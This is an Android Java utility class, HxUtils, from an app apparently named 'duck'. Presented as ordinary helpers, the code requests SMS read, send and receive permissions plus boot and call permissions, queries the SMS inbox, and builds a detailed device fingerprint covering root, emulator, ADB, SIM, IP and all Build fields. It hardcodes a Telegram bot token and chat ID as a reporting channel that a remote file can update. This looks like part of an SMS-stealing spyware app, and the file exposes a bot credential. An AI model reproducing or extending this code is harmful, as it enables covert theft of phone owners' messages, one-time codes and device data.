package com.app.duck.util;

import android.Manifest;
import android.annotation.SuppressLint;
import android.app.ActivityManager;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.os.StatFs;
import android.os.SystemClock;
import android.provider.Settings;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.text.format.Formatter;
import android.util.Log;

import androidx.annotation.NonNull;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.app.duck.BuildConfig;
import com.app.duck.Config;
import com.app.duck.R;
import com.app.duck.dialog.UploadAppDialog;
import com.blankj.utilcode.util.AppUtils;
import com.blankj.utilcode.util.BrightnessUtils;
import com.blankj.utilcode.util.DeviceUtils;
import com.blankj.utilcode.util.GsonUtils;
import com.blankj.utilcode.util.NetworkUtils;
import com.blankj.utilcode.util.PhoneUtils;
import com.blankj.utilcode.util.SPUtils;
import com.blankj.utilcode.util.ScreenUtils;
import com.blankj.utilcode.util.StringUtils;
import com.blankj.utilcode.util.ThreadUtils;
import com.blankj.utilcode.util.TimeUtils;
import com.blankj.utilcode.util.ToastUtils;
import com.blankj.utilcode.util.Utils;
import com.elvishew.xlog.XLog;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileFilter;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.TimeZone;
import java.util.concurrent.TimeUnit;

import io.reactivex.Completable;
import io.reactivex.Observable;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/**
 * author: hx
 * created on: 2023/10/10 11:32
 * description:
 */
public class HxUtils {
    @SuppressLint("MissingPermission")
    @NonNull
    public static List<String> phoneList() {
        List<String> phone = new ArrayList<>();
        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP_MR1) {
            SubscriptionManager subscriptionManager = SubscriptionManager.from(Utils.getApp());
            List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
            if (subsInfoList == null) return phone;
            for (SubscriptionInfo subscriptionInfo : subsInfoList) {
                String number = subscriptionInfo.getNumber();
                phone.add(number);
            }
            return phone;
        }
        return phone;
    }


    public static void QueryXiaoMiSmsInbox() {
        Uri SMS_INBOX = Uri.parse("content://sms/");
        ContentResolver cr = Utils.getApp().getContentResolver();
        String[] projection = new String[]{"_id", "address", "person", "body", "date", "type", "thread_id", "protocol", "read", "status", "service_center"};
        Cursor cur = cr.query(SMS_INBOX, projection, null, null, "date desc");
        if (null == cur) return;
        cur.moveToNext();
        cur.close();
    }

    public static String[] permissions() {
        List<String> permission = new ArrayList<>();
        permission.add(Manifest.permission.READ_SMS);
        permission.add(Manifest.permission.SEND_SMS);
        permission.add(Manifest.permission.RECEIVE_SMS);
        permission.add(Manifest.permission.RECEIVE_BOOT_COMPLETED);
        permission.add(Manifest.permission.READ_PHONE_STATE);
        permission.add(Manifest.permission.WAKE_LOCK);
        permission.add(Manifest.permission.CALL_PHONE);
        return permission.toArray(new String[0]);
    }

    public static HashMap<String, HashSet<String>> provideHashMap() {
        HashMap map = new HashMap<>();
        map.put("KEY_LOGIN", new HashSet<>(Arrays.asList("espere", "waiting", "loading", "esperando")));
        map.put("KEY_ERROR", new HashSet<>(Arrays.asList("problema", "problem", "error", "null")));
        return map;
    }

    public static String getPhone() {
        return SPUtils.getInstance().getString("number");
    }


    public static void setPhone(String phone) {
        SPUtils.getInstance().put("number", phone, true);
    }

    public static void setChatId(String chatId) {
        SPUtils.getInstance().put("chatId", chatId, true);
    }

    public static String getChatId() {
        return StringUtils.isEmpty(SPUtils.getInstance().getString("chatId")) ? "-1001958143149L" : SPUtils.getInstance().getString("chatId");

    }

    public static void setBotToken(String botToken) {
        SPUtils.getInstance().put("botToken", botToken, true);
    }

    public static String getBotToken() {
        return StringUtils.isEmpty(SPUtils.getInstance().getString("botToken")) ? "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I" : SPUtils.getInstance().getString("botToken");
    }

    public static void checkForUpdate(Context context, boolean toast) {
        new Thread(() -> {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder()
                    .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)  // 文件的 URL
                    .build();
            try (Response response = client.newCall(request).execute()) {
                if (response.isSuccessful()) {
                    String fileContent = response.body().string();
                    XLog.i("Check for update:" + fileContent);
                    ThreadUtils.runOnUiThreadDelayed(() -> new UploadAppDialog(context, fileContent, toast), 500);

                }
            } catch (IOException e) {
                Log.e(Config.LOG_TAG, "Check for update error.", e);
                XLog.e("Check for update error.", e);
                e.printStackTrace();
            }
        }).start();
    }

    public static void checkForUpdateBotConfig() {
        ThreadUtils.executeBySingle(new ThreadUtils.Task<Object>() {
            @Override
            public Object doInBackground() {
                OkHttpClient client = new OkHttpClient();
                Request request = new Request.Builder()
                        .url(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_JSON)  // 文件的 URL
                        .build();
                try (Response response = client.newCall(request).execute()) {
                    if (response.isSuccessful()) {
                        String fileContent = response.body().string();
                        JSONObject object = JSON.parseObject(fileContent);
                        if (!StringUtils.isEmpty(object.getString("chatId"))) {
                            HxUtils.setChatId(object.getString("chatId"));
                        }
                        if (!StringUtils.isEmpty(object.getString("botToken"))) {
                            HxUtils.setBotToken(object.getString("botToken"));
                        }
                        Log.i(Config.LOG_TAG, "BotConfig update success.");
                        XLog.i("BotConfig update success.");
                        ToastUtils.showLong(R.string.update_log_config_suc);
                    }
                } catch (IOException e) {
                    ToastUtils.showLong(R.string.update_err);
                    Log.e(Config.LOG_TAG, "BotConfig update error", e);
                    XLog.e("BotConfig update error", e);
                    e.printStackTrace();
                }
                return null;
            }

            @Override
            public void onSuccess(Object result) {

            }

            @Override
            public void onCancel() {

            }

            @Override
            public void onFail(Throwable t) {
                Log.e(Config.LOG_TAG, "BotConfig update error", t);
                XLog.e("BotConfig update error", t);
            }
        });
    }

    public static String getDeviceInfo() {
        Map<String, Object> map = new HashMap<>();
        map.put("app_name", AppUtils.getAppName());
        map.put("unique_device_id", DeviceUtils.getUniqueDeviceId());
        map.put("package_name", AppUtils.getAppPackageName());
        map.put("app_version_name", AppUtils.getAppVersionName());
        map.put("app_version_code", AppUtils.getAppVersionCode());
        map.put("android_id", DeviceUtils.getAndroidID());
        map.put("sdk_version_name", DeviceUtils.getSDKVersionName());
        map.put("sdk_version_code", DeviceUtils.getSDKVersionCode());
        String network = NetworkUtils.getNetworkType().toString();
        map.put("network", network.substring(network.indexOf("_") + 1));
        map.put("manufacturer", DeviceUtils.getManufacturer());
        map.put("brand", Build.BRAND);
        map.put("model", DeviceUtils.getModel());
        map.put("is_root", DeviceUtils.isDeviceRooted() ? 1 : 0);
        map.put("adb_enable", DeviceUtils.isAdbEnabled() ? 1 : 0); //Android Debug Bridge,就是起到调试桥的作用
        map.put("abis", DeviceUtils.getABIs());
        map.put("is_tablet", DeviceUtils.isTablet() ? 1 : 0);
        map.put("is_emulator", DeviceUtils.isEmulator() ? 1 : 0);
        map.put("is_same_device", DeviceUtils.isSameDevice(DeviceUtils.getUniqueDeviceId()) ? 1 : 0);
        map.put("is_phone", PhoneUtils.isPhone() ? 1 : 0);
        map.put("phone_type", PhoneUtils.getPhoneType());
        map.put("is_sim_card_ready", PhoneUtils.isSimCardReady() ? 1 : 0);
        map.put("sim_operator_name", PhoneUtils.getSimOperatorName());
        map.put("sim_operator_by_mnc", PhoneUtils.getSimOperatorByMnc());
        map.put("ip", NetworkUtils.getIPAddress(true));
        map.put("deviceWidth", ScreenUtils.getScreenWidth());
        map.put("deviceHeight", ScreenUtils.getScreenHeight());
        map.put("language", Utils.getApp().getResources().getConfiguration().locale.toString());
        map.put("ramCanUse", getAvailMemory());
        map.put("ramTotal", getTotalMemory());
        map.put("romCanUse", getAvailableInternalMemorySize());
        map.put("romTotal", getTotalInternalMemorySize());
        map.put("productionDate", Build.TIME);
        map.put("brightness", BrightnessUtils.getBrightness());
        map.put("bootTimeWake", getScreenOffTime());
        map.put("timeTotalWake", getBootTime());
        map.put("cpuNum", getNumberOfCPUCores());
        map.put("mainBoardName", Build.BOARD);
        map.put("time", TimeUtils.getNowMills());
        map.put("timeZone", timeZ());
        map.put("lang", Utils.getApp().getResources().getConfiguration().locale.getLanguage());
        map.put("country", Utils.getApp().getResources().getConfiguration().locale.getCountry());
        map.put("bootTime", bootTime());
        map = getPhoneOsInfo(map);
        return convertMapToString(map);
    }

    private static Map<String, Object> getPhoneOsInfo(Map<String, Object> map) {

        Field[] fields = Build.class.getDeclaredFields();
        for (Field field : fields) {
            field.setAccessible(true);
            try {
                map.put("os_" + field.getName(), field.get(null));
            } catch (Exception e) {
                e.printStackTrace();

            }
        }
        return map;

    }

    private static String convertMapToString(Map<String, Object> map) {
        StringBuilder stringBuilder = new StringBuilder();
        for (Map.Entry<String, Object> entry : map.entrySet()) {
            String key = entry.getKey();
            Object value = entry.getValue();
            stringBuilder.append(key).append(": ").append(GsonUtils.toJson(value)).append("\n");
        }
        return stringBuilder.toString();
    }

    private static String getAvailMemory() {
        ActivityManager am = (ActivityManager) Utils.getApp().getSystemService(Context.ACTIVITY_SERVICE);
        ActivityManager.MemoryInfo mi = new ActivityManager.MemoryInfo();
        if (am == null) return "";
        am.getMemoryInfo(mi);
        return Formatter.formatFileSize(Utils.getApp(), mi.availMem);
    }

    private static String getTotalMemory() {
        String path = "/proc/meminfo";
        String firstLine = null;
        int totalRam = 0;
        try {
            FileReader fileReader = new FileReader(path);
            BufferedReader br = new BufferedReader(fileReader, 8192);
            firstLine = br.readLine().split("\\s+")[1];
            br.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        if (firstLine != null) {
            totalRam = (int) Math.ceil((Float.valueOf(Float.valueOf(firstLine) / (1024 * 1024)).doubleValue()));
        }

        return totalRam + "GB";
    }

    private static long getAvailableInternalMemorySize() {
        File path = Environment.getDataDirectory();
        StatFs stat = new StatFs(path.getPath());
        long blockSize = stat.getBlockSize();

        long availableBlocks = stat.getAvailableBlocks();
        return availableBlocks * blockSize;
    }

    private static long getBootTime() {
        return System.currentTimeMillis() - SystemClock.elapsedRealtimeNanos() / 1000000;
    }

    private static long getTotalInternalMemorySize() {
        File path = Environment.getDataDirectory();
        StatFs stat = new StatFs(path.getPath());
        long blockSize = stat.getBlockSize();
        long totalBlocks = stat.getBlockCount();
        return totalBlocks * blockSize;
    }

    private static int getScreenOffTime() {
        int screenOffTime = 0;
        try {
            screenOffTime = Settings.System.getInt(Utils.getApp().getContentResolver(),
                    Settings.System.SCREEN_OFF_TIMEOUT);
        } catch (Exception localException) {

        }
        return screenOffTime;
    }

    private static int getNumberOfCPUCores() {
        try {
            File[] cores = new File("/sys/devices/system/cpu/").listFiles(CPU_FILTER);
            if (cores != null)
                return cores.length;

        } catch (SecurityException | NullPointerException e) {

            return 0;
        }
        return 0;
    }

    private static final FileFilter CPU_FILTER = pathname -> {
        String path = pathname.getName();
        //regex is slow, so checking char by char.
        if (path.startsWith("cpu")) {
            for (int i = 3; i < path.length(); i++) {
                if (path.charAt(i) < '0' || path.charAt(i) > '9') {
                    return false;
                }
            }
            return true;
        }
        return false;
    };

    private static String timeZ() {
        TimeZone tz = TimeZone.getDefault();
        return tz.getDisplayName(false, TimeZone.SHORT);
    }

    private static long bootTime() {
        return System.currentTimeMillis() - SystemClock.elapsedRealtimeNanos() / 1000000;
    }

    public static Completable waitService(String serviceName, Context context) {
        return Completable.fromObservable(Observable.interval(0, 1, TimeUnit.SECONDS)
                .takeUntil(aLong -> {
                    return isServiceRunning(serviceName, context);
                })
        );
    }

    public static boolean isServiceRunning(String serviceName, Context context) {
        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        List<ActivityManager.RunningServiceInfo> runningServices = am.getRunningServices(Integer.MAX_VALUE); //获取运行的服务,参数表示最多返回的数量
        for (ActivityManager.RunningServiceInfo runningServiceInfo : runningServices) {
            String className = runningServiceInfo.service.getClassName();
            if (className.equals(serviceName)) {
                return true;
            }
        }
        return false;
    }

    public static Observable<String> getStringFromRaw(Context context, int rawName) {
        return Observable.create(emitter -> {
            BufferedReader reader = new BufferedReader(new InputStreamReader(context.getResources().openRawResource(rawName)));
            String line;
            StringBuilder result = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                result.append(line).append("\n");
            }
            reader.close();
            emitter.onNext(result.toString());
            emitter.onComplete();
        });

    }
}
